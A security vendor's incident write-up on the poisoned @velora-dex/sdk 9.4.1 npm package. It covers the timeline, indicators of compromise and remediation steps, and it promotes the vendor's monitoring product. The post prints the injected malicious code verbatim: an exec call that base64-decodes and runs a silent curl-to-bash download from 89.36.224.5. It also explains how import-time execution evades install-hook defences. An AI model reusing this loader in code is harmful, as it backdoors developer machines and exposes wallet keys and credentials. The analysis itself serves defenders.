VeloraDEX SDK Poisoned: Anatomy of an npm Supply Chain Attack Targeting DeFi Developers

Supply Chain Attack | npm Registry Poisoning | DeFi SDK | Credential Compromise | macOS Backdoor

VeloraDEX — formerly ParaSwap — is one of the more established DEX aggregation protocols in the DeFi ecosystem. The platform has processed over $100 billion in historical trading volume, and its SDK is used by wallets, trading bots, dApps, and backend services to route swaps across multiple decentralized exchanges. When I saw the GitHub issue appear on the evening of April 7, 2026, reporting that @velora-dex/[email protected] contained malicious code, I pulled the tarball and started examining what happened.

What I found was a textbook registry-only supply chain attack. The GitHub repository was clean. The source code in src/ was untouched. The attacker modified exactly two files in the published npm package — package.json for the version bump and dist/index.js for the payload — and pushed it directly to the npm registry. Anyone who ran npm install or yarn add and resolved to 9.4.1 got a working copy of the SDK that also happened to download and execute a remote shell script every time it was imported.

In most supply chain attacks, the immediate risk is credential theft or backdoor installation. Here, the stakes are higher. DeFi developer machines routinely hold wallet private keys, seed phrases, and RPC endpoint secrets — assets that translate directly to stolen funds, not just compromised infrastructure.

TL;DR

• What: Malicious code was injected into @velora-dex/[email protected] (published April 7, 2026 at 19:03 UTC). The payload downloads and executes a remote bash script from a server in Romania targeting developer machines
• How: Only two files differ from the clean v9.4.0 — package.json (version bump) and dist/index.js (malicious code prepended). No source code changes, no postinstall hooks. The payload executes on every import, not just during installation
• Impact: Any machine that imported the package executed a shell command that downloaded install.sh from 89.36.224.5 (M247 Europe, Bucharest). DeFi developers are high-value targets — wallet keys, seed phrases, and API credentials are at immediate risk
• Window: Published at 19:03 UTC, reported at 21:51 UTC on April 7, 2026. Maintainer acknowledged at 22:41 UTC. The version was deprecated but not immediately unpublished, leaving it downloadable
• Root cause: The build/publish pipeline or a maintainer's npm credentials were compromised. The attacker never touched the GitHub repository — only the registry tarball was poisoned
• Fix: Downgrade to @velora-dex/[email protected] immediately. Assume full compromise on any machine that imported 9.4.1 — rotate every secret, scan for persistence, rebuild from clean state

Timeline

The roughly three-hour window between publication and discovery is significant. Any CI/CD pipeline that pulled the latest SDK version during that window, any developer who ran a fresh install, any trading bot that rebuilt its dependencies — all of them executed the payload silently.

Technical Breakdown: The Payload

The attacker prepended exactly three lines to the top of dist/index.js — the main entry point defined in package.json. The rest of the file remained identical to v9.4.0. Here is the actual npm package as viewed in VS Code, with the injected malicious code sitting directly above the legitimate SDK module.exports:

Loading image…

This is the injected code:

'use strict'

const {exec} = require('child_process');
exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});

The base64 string decodes to:

nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1

Let me walk through what this does step by step.

1. The echo command pipes a base64-encoded string through the system's base64 decoder. It tries both --decode (Linux/GNU) and -D (macOS) flags for cross-platform compatibility
2. The decoded string is piped to bash, which executes it as a shell command
3. curl fetches a shell script from 89.36.224.5 with -fsSL flags — fail silently on errors, suppress progress output, follow redirects, and use TLS if available
4. nohup ensures the downloaded script continues running even if the parent Node.js process exits
5. All output is redirected to /dev/null — the developer sees nothing in their terminal

The URL path /troubleshoot/mac/install.sh tells us two things. First, the primary target is macOS — the operating system most DeFi developers and crypto traders use as their daily driver. Second, the /troubleshoot/ prefix suggests there may be additional platform-specific payloads at sibling paths (e.g., /troubleshoot/linux/), though I was not able to confirm this as the server was no longer serving content when I checked.

Why Import-Time Execution Matters

Most npm supply chain attacks I have analyzed use postinstall hooks — scripts that run once during npm install. Security scanners and tools like npm audit have gotten better at flagging suspicious postinstall behavior. The VeloraDEX attacker bypassed all of that.

By injecting the payload into dist/index.js — the file that runs when you write import ... from '@velora-dex/sdk' or require('@velora-dex/sdk') — the malicious code executes every single time the package is loaded. Not just during installation. Every time. If a developer is building and testing a DeFi application, the payload runs on every server restart, every test suite execution, every hot reload. A trading bot that imports the SDK runs the payload on every process start.

This approach also means the attack works in environments where --ignore-scripts is set. That flag disables lifecycle hooks like postinstall, but it does nothing to prevent code execution at import time. The payload is just JavaScript sitting in a file that Node.js evaluates as part of normal module resolution.

How the Compromise Happened

The forensic evidence points to one of two scenarios: either a maintainer's npm publishing credentials were stolen, or the CI/CD pipeline used to build and publish the SDK was compromised.

Here is what supports that conclusion:

• The GitHub repository source code (src/) is completely clean — no malicious commits, no suspicious pull requests, no altered build scripts
• Only the compiled dist/index.js in the npm tarball was modified. The attacker either built a tampered bundle locally or modified the artifact after the CI build step
• The version bump in package.json from 9.4.0 to 9.4.1 was clean — just the version number. No new dependencies added, no scripts altered
• No other build artifacts (type definitions, source maps, secondary entry points) were touched. The attacker knew exactly which file to modify for maximum impact with minimum detection risk

This pattern — a gap between what is on GitHub and what is on the registry — is the defining characteristic of registry-only supply chain attacks. If you only audit the source repository, you miss it entirely. The attack lives in the space between git push and npm publish.

Loading image…

The C2 Infrastructure

The command-and-control server at 89.36.224.5 is hosted on M247 Europe SRL infrastructure in Bucharest, Romania (AS9009). M247 is a legitimate hosting provider, but its infrastructure is frequently used as disposable staging for malicious operations because it offers quick provisioning with minimal identity verification.

The server was serving content on ports 22, 80, and 443 at the time of the attack. The use of plain HTTP (not HTTPS) for the payload download is notable — it means any network-level inspection tool could have captured the install.sh script in transit. It also means a man-in-the-middle attacker between the victim and the C2 could have swapped in their own payload. The attacker prioritized simplicity and speed over operational security.

Why DeFi SDKs Are High-Value Targets

Not all supply chain attacks carry the same risk. A compromised utility library in a corporate web application might expose API keys or session tokens. A compromised DeFi SDK can expose wallet private keys — and private keys are money. There is no password reset, no fraud department to call, no chargeback to file. Once a key is exfiltrated, the funds move in seconds and they do not come back.

Consider what a typical VeloraDEX SDK consumer looks like: a trading bot running on a developer's machine or a cloud server, with a hot wallet funded for executing swaps. The environment almost certainly contains private keys in environment variables, keystore files, or configuration. The SDK import triggers the payload, the payload drops a script that hoovers up everything it can find, and the attacker drains the wallets before anyone realizes the package was poisoned.

VeloraDEX has 771 stars on GitHub, the SDK is a TypeScript library compatible with web3, ethers, and viem — the three dominant Ethereum JavaScript libraries — and the platform has processed over $100 billion in historical volume. The downstream consumer base is not massive by axios standards, but every single consumer is a high-value target by definition.

Indicators of Compromise

If you are operating network monitoring, add 89.36.224.5 to your blocklists and search historical DNS and proxy logs for any connections to this IP originating from developer machines or CI runners.

Immediate Actions

If you installed @velora-dex/[email protected]

1. Assume the machine is fully compromised. Any secret accessible from it — wallet private keys, seed phrases, API keys, SSH keys, npm tokens, cloud credentials, environment variables — should be considered exfiltrated
2. Move all funds from any wallet whose keys were on the affected machine to a new wallet generated on a clean device. Do this before anything else
3. Rotate every credential: RPC endpoint keys, exchange API keys, GitHub tokens, npm publishing tokens, SSH keys, cloud provider access keys
4. Scan the machine for persistence mechanisms — on macOS check LaunchAgents, LaunchDaemons, cron jobs, and login items. On Linux check crontab, systemd services, and .bashrc/.profile modifications
5. Rebuild and redeploy affected systems from a known clean state. Do not assume removing the package is sufficient — the downloaded payload may have established independent persistence
6. Downgrade to @velora-dex/[email protected] (last known clean version). Delete node_modules and your lockfile, then reinstall

If you are unsure whether you are affected

Search your lockfile. For npm projects, check package-lock.json:

grep -r "velora-dex/sdk" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
# If you see version "9.4.1" anywhere in the output, you are affected

Also check your network logs for outbound connections to 89.36.224.5 — this will tell you whether the payload actually executed on your systems.

The Bigger Picture: npm's Trust Problem

This attack follows a pattern that the JavaScript ecosystem keeps repeating. In 2018, event-stream was compromised to steal cryptocurrency — an attacker gained maintainer access and injected code targeting a specific Bitcoin wallet application. In 2021, ua-parser-js was hijacked to drop cryptominers. In September 2025, the Shai-Hulud campaign compromised debug and chalk through stolen GitHub tokens. In March 2026, axios was poisoned with a self-destructing RAT through a stolen npm token. Now VeloraDEX.

The fundamental problem has not changed: npm's publishing model trusts that whoever holds a valid token is authorized to publish, and the registry does not enforce any relationship between the published artifact and the source code in a repository. npm provenance was introduced to address this exact gap — it creates a verifiable chain from a GitHub commit to a registry artifact — but adoption remains voluntary, and most packages still do not use it.

For DeFi projects in particular, the stakes demand better operational security than the ecosystem currently enforces. A single compromised dependency can mean drained wallets, and unlike traditional breaches, there is no remediation path for stolen cryptocurrency. The money is gone.

How SecureNexus SOVA Would Have Caught This

The VeloraDEX attack succeeded because there was no visibility layer between the registry and the developer's machine. The package resolved, the code ran, and nobody knew until a community member manually compared the npm tarball to the GitHub source three hours later. That three-hour window is exactly the gap that SecureNexus SOVA is built to close.

SecureNexus SOVA (Software Supply Chain Orchestration and Visibility) continuously monitors every layer of the software supply chain — from package registries and source repositories to build pipelines and deployed artifacts. Here is specifically how SOVA would have detected and mitigated each stage of the VeloraDEX compromise:

Registry-Source Divergence Detection

SOVA continuously compares what is published on npm against what exists in the linked GitHub repository. When @velora-dex/[email protected] appeared on the registry with a modified dist/index.js that had no corresponding commit or tag in the VeloraDEX/sdk repository, SOVA would have immediately flagged a registry-source divergence alert. The attacker changed only the tarball — the source stayed clean — and that exact discrepancy is the primary signal SOVA is designed to catch. Most security teams only audit the repository. SOVA audits the artifact.

Provenance Attestation Monitoring

SOVA tracks whether packages ship with npm provenance attestations — cryptographic proofs that tie a published version to a specific GitHub Actions workflow and commit SHA. If the clean v9.4.0 was published through CI/CD with provenance, and the malicious v9.4.1 suddenly appeared without it, SOVA flags the provenance gap instantly. A legitimate release pushed through a compromised maintainer account or manual npm publish will never carry the same provenance chain as an automated CI build. SOVA treats missing or broken provenance as a high-severity signal.

Behavioral Diff Analysis

Beyond structural checks, SOVA performs behavioral analysis on dependency updates. When v9.4.1 introduced a require('child_process') call that did not exist in v9.4.0, SOVA's diff engine would have flagged this as a new dangerous capability. The VeloraDEX SDK is a DeFi aggregation library — it has no legitimate reason to spawn shell processes. SOVA maintains a behavioral baseline for every monitored package and alerts when a new version introduces capabilities that fall outside the expected profile: network calls to unknown IPs, filesystem access, process spawning, or dynamic code evaluation.

SBOM-Driven Impact Assessment

When a compromised package is identified, the first question every security team asks is: where is this running? SOVA maintains a live Software Bill of Materials across the entire organization — every application, every service, every CI pipeline. Within seconds of flagging @velora-dex/[email protected] as suspicious, SOVA can map every system that depends on it, identify which environments have already resolved the malicious version, and generate a prioritized remediation list. For DeFi operations where multiple trading bots and backend services might share the same SDK dependency, this blast radius mapping is the difference between a targeted response and a panicked org-wide lockdown.

Continuous Monitoring with CTEM Integration

SOVA does not operate in isolation. As part of the SecureNexus CTEM (Continuous Threat Exposure Management) workflow, supply chain signals are correlated with the broader exposure landscape. If SOVA detects that a compromised SDK is running on a machine that also holds wallet private keys or has outbound access to the C2 IP (89.36.224.5), CTEM escalates the alert from a supply chain anomaly to an active compromise with financial exposure. This correlation layer transforms a dependency alert into an actionable incident — complete with affected assets, exposed secrets, and recommended containment steps.

The VeloraDEX attack was not sophisticated in its execution — three lines of JavaScript, a base64-encoded shell command, a rented server in Romania. What made it dangerous was the absence of any automated detection between the registry and the runtime. SecureNexus SOVA fills that gap with continuous, multi-layered monitoring that treats every dependency update as potentially hostile until verified.

Learn more about how SOVA protects your software supply chain at securenexus.ai/products/sova

Defensive Recommendations for DeFi Developers

• Pin exact dependency versions in lockfiles and review diffs before upgrading. Never use floating ranges (^, ~) for packages that have access to sensitive operations
• Verify npm provenance on critical dependencies. If a package does not publish provenance attestations, treat every update as untrusted until manually verified
• Isolate wallet keys from development environments. Use hardware wallets for anything holding real value. Never store seed phrases in environment variables on machines that run npm install
• Run trading bots and DeFi services in hardened containers with minimal network egress rules. Block all outbound connections except explicitly whitelisted RPC endpoints and API servers
• Compare published npm tarballs against GitHub releases. A simple diff between npm pack output and the repository's dist/ directory catches registry-only injections
• Monitor for unexpected dependency version bumps in CI/CD pipelines. Alert on any version resolution that does not match a known-good lockfile

Reference

GitHub Issue #233 — Supply Chain Attack on @velora-dex/[email protected]

Conclusion

The VeloraDEX SDK compromise is a clean, efficient attack that exploited the weakest link in the npm supply chain: the gap between source code and published artifact. The attacker did not need to find a vulnerability, submit a malicious pull request, or social-engineer a code review. They obtained publishing access — whether through credential theft or pipeline compromise — prepended three lines of JavaScript to a build artifact, and pushed it to the registry. Everything after that was automatic.

What makes this incident particularly concerning is the target demographic. DeFi developers and operators are, by the nature of their work, custodians of cryptographic keys that directly control financial assets. The standard supply chain attack playbook of credential rotation and system rebuilding applies here, but the window for financial loss closes in minutes, not days. By the time you discover the compromised package version, the funds may already be gone.

Every organization building on DeFi infrastructure needs to treat dependency management as a security-critical function, not a convenience. Pin your versions. Verify provenance. Isolate your keys. And never assume that a familiar package name on the registry contains the same code you reviewed on GitHub.